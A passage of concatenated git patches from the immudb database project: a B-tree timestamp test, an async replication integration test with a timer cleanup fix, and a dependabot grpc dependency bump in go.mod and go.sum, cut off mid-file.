i)), []byte("v0")) + require.NoError(t, err) + } + + err = tbtree.IncreaseTs(tbtree.Ts() - 1) + require.ErrorIs(t, err, ErrIllegalArguments) + + err = tbtree.IncreaseTs(tbtree.Ts()) + require.ErrorIs(t, err, ErrIllegalArguments) + + err = tbtree.IncreaseTs(tbtree.Ts() + 1) + require.NoError(t, err) + + err = tbtree.Insert([]byte(fmt.Sprintf("key%d", 1000)), []byte("v0")) + require.NoError(t, err) + + err = tbtree.IncreaseTs(tbtree.Ts() + 1) + require.NoError(t, err) + err = tbtree.Close() require.NoError(t, err) From 4c16136e6fe76df78a671cb230419afba19fdeaa Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 20:02:00 -0300 Subject: [PATCH 0681/1062] test(pkg/replication): test async replication Signed-off-by: Jeronimo Irazabal test(pkg/replication): test async replication Signed-off-by: Jeronimo Irazabal test(pkg/replication): test async replication Signed-off-by: Jeronimo Irazabal --- pkg/integration/follower_replication_test.go | 36 +++++++++++++++----- pkg/replication/replicator.go | 3 ++ 2 files changed, 31 insertions(+), 8 deletions(-) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 4ad7f0c51c..c91f4388cd 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -77,14 +77,6 @@ func TestReplication(t *testing.T) { time.Sleep(1 * time.Second) - defer func() { - primaryServer.Stop() - - time.Sleep(1 * time.Second) - - replicaServer.Stop() - }() - // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port @@ -200,8 +192,36 @@ func TestReplication(t *testing.T) { require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) }) + for i := 0; i < 100; i++ { + _, err = primaryClient.Set(context.Background(), []byte("key1"), make([]byte, 150)) + require.NoError(t, err) + } + + // create database as replica in replica server + _, err = replicaClient.CreateDatabaseV2(context.Background(), "replicadb2", &schema.DatabaseNullableSettings{ + MaxValueLen: &schema.NullableUint32{Value: 100}, + ReplicationSettings: &schema.ReplicationNullableSettings{ + Replica: &schema.NullableBool{Value: true}, + SyncReplication: &schema.NullableBool{Value: false}, + PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, + PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, + PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, + PrimaryUsername: &schema.NullableString{Value: "replicator"}, + PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, + }, + }) + require.NoError(t, err) + + time.Sleep(3 * time.Second) + + primaryServer.Stop() + err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) + + time.Sleep(3 * time.Second) + + replicaServer.Stop() } func TestSystemDBAndDefaultDBReplication(t *testing.T) { diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index f33dd94df6..f4e62b7228 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -136,6 +136,8 @@ func (txr *TxReplicator) handleError(err error) (terminate bool) { err.Error()) timer := time.NewTimer(txr.delayer.DelayAfter(txr.consecutiveFailures)) + defer timer.Stop() + select { case <-txr.context.Done(): timer.Stop() @@ -247,6 +249,7 @@ func (txr *TxReplicator) replicationFailureDelay(consecutiveFailures int) bool { defer txr.metrics.replicatorsInRetryDelay.Dec() timer := time.NewTimer(txr.delayer.DelayAfter(consecutiveFailures)) + defer timer.Stop() select { case <-txr.context.Done(): From 4e6647cf02ba5fcd3a047d44be37e8dc0eece112 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Jul 2023 23:47:12 +0000 Subject: [PATCH 0682/1062] chore(deps): bump google.golang.org/grpc in /test/e2e/truncation Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.46.2 to 1.53.0. - [Release notes](https://github.com/grpc/grpc-go/releases) - [Commits](https://github.com/grpc/grpc-go/compare/v1.46.2...v1.53.0) --- updated-dependencies: - dependency-name: google.golang.org/grpc dependency-type: indirect ... Signed-off-by: dependabot[bot] --- test/e2e/truncation/go.mod | 48 +-- test/e2e/truncation/go.sum | 663 +++---------------------------------- 2 files changed, 78 insertions(+), 633 deletions(-) diff --git a/test/e2e/truncation/go.mod b/test/e2e/truncation/go.mod index 6096cc2563..0b2afd9fb3 100644 --- a/test/e2e/truncation/go.mod +++ b/test/e2e/truncation/go.mod @@ -2,50 +2,50 @@ module github.com/codenotary/immudb/test/e2e/truncation go 1.20 -require github.com/codenotary/immudb v1.4.1 +require github.com/codenotary/immudb v1.5.0 require ( github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect github.com/beorn7/perks v1.0.1 // indirect - github.com/cespare/xxhash/v2 v2.1.2 // indirect - github.com/fsnotify/fsnotify v1.5.4 // indirect - github.com/golang/protobuf v1.5.2 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect + github.com/fsnotify/fsnotify v1.6.0 // indirect + github.com/golang/protobuf v1.5.3 // indirect github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect - github.com/inconshreveable/mousetrap v1.0.0 // indirect - github.com/magiconair/properties v1.8.6 // indirect + github.com/inconshreveable/mousetrap v1.0.1 // indirect + github.com/magiconair/properties v1.8.7 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/o1egl/paseto v1.0.0 // indirect - github.com/pelletier/go-toml v1.9.5 // indirect - github.com/pelletier/go-toml/v2 v2.0.1 // indirect + github.com/pelletier/go-toml/v2 v2.0.6 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/prometheus/client_golang v1.12.2 // indirect github.com/prometheus/client_model v0.2.0 // indirect github.com/prometheus/common v0.32.1 // indirect github.com/prometheus/procfs v0.7.3 // indirect - github.com/rogpeppe/go-internal v1.8.0 // indirect - github.com/rs/xid v1.3.0 // indirect - github.com/spf13/afero v1.8.2 // indirect + github.com/rogpeppe/go-internal v1.9.0 // indirect + github.com/rs/xid v1.5.0 // indirect + github.com/spf13/afero v1.9.3 // indirect github.com/spf13/cast v1.5.0 // indirect - github.com/spf13/cobra v1.2.1 // indirect + github.com/spf13/cobra v1.6.1 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/spf13/pflag v1.0.5 // indirect - github.com/spf13/viper v1.12.0 // indirect - github.com/subosito/gotenv v1.3.0 // indirect - golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect - golang.org/x/net v0.7.0 // indirect - golang.org/x/sys v0.5.0 // indirect - golang.org/x/term v0.5.0 // indirect - golang.org/x/text v0.7.0 // indirect - google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect - google.golang.org/grpc v1.46.2 // indirect - google.golang.org/protobuf v1.28.0 // indirect - gopkg.in/ini.v1 v1.66.6 // indirect - gopkg.in/yaml.v2 v2.4.0 // indirect + github.com/spf13/viper v1.15.0 // indirect + github.com/subosito/gotenv v1.4.2 // indirect + golang.org/x/crypto v0.11.0 // indirect + golang.org/x/net v0.12.0 // indirect + golang.org/x/sys v0.10.0 // indirect + golang.org/x/term v0.10.0 // indirect + golang.org/x/text v0.11.0 // indirect + google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect + google.golang.org/grpc v1.55.0 // indirect + google.golang.org/protobuf v1.30.0 // indirect + gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/test/e2e/truncation/go.sum b/test/e2e/truncation/go.sum index 89994c0e94..3dadeaf199 100644 --- a/test/e2e/truncation/go.sum +++ b/test/e2e/truncation/go.sum @@ -17,33 +17,14 @@ cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHOb cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= -cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= -cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= -cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= -cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= -cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= -cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= -cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= -cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= -cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= -cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= -cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= -cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= -cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= -cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= -cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= -cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s= -cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= -cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= -cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= @@ -57,14 +38,6 @@ cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3f dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= -github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= -github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= -github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= -github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= -github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= -github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= -github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= @@ -78,87 +51,36 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= -github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= -github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= -github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= -github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= -github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= -github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= -github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= -github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= -github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/deepmap/oapi-codegen v1.8.2/go.mod h1:YLgSKSDv/bZQB7N4ws6luhozi3cEdRktEqrX88CvjIw= -github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= -github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= -github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= -github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= -github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= -github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= -github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= -github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= -github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= -github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= -github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI= -github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU= -github.com/getkin/kin-openapi v0.61.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= +github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= +github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= -github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= -github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= @@ -168,20 +90,14 @@ github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vb github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= -github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= 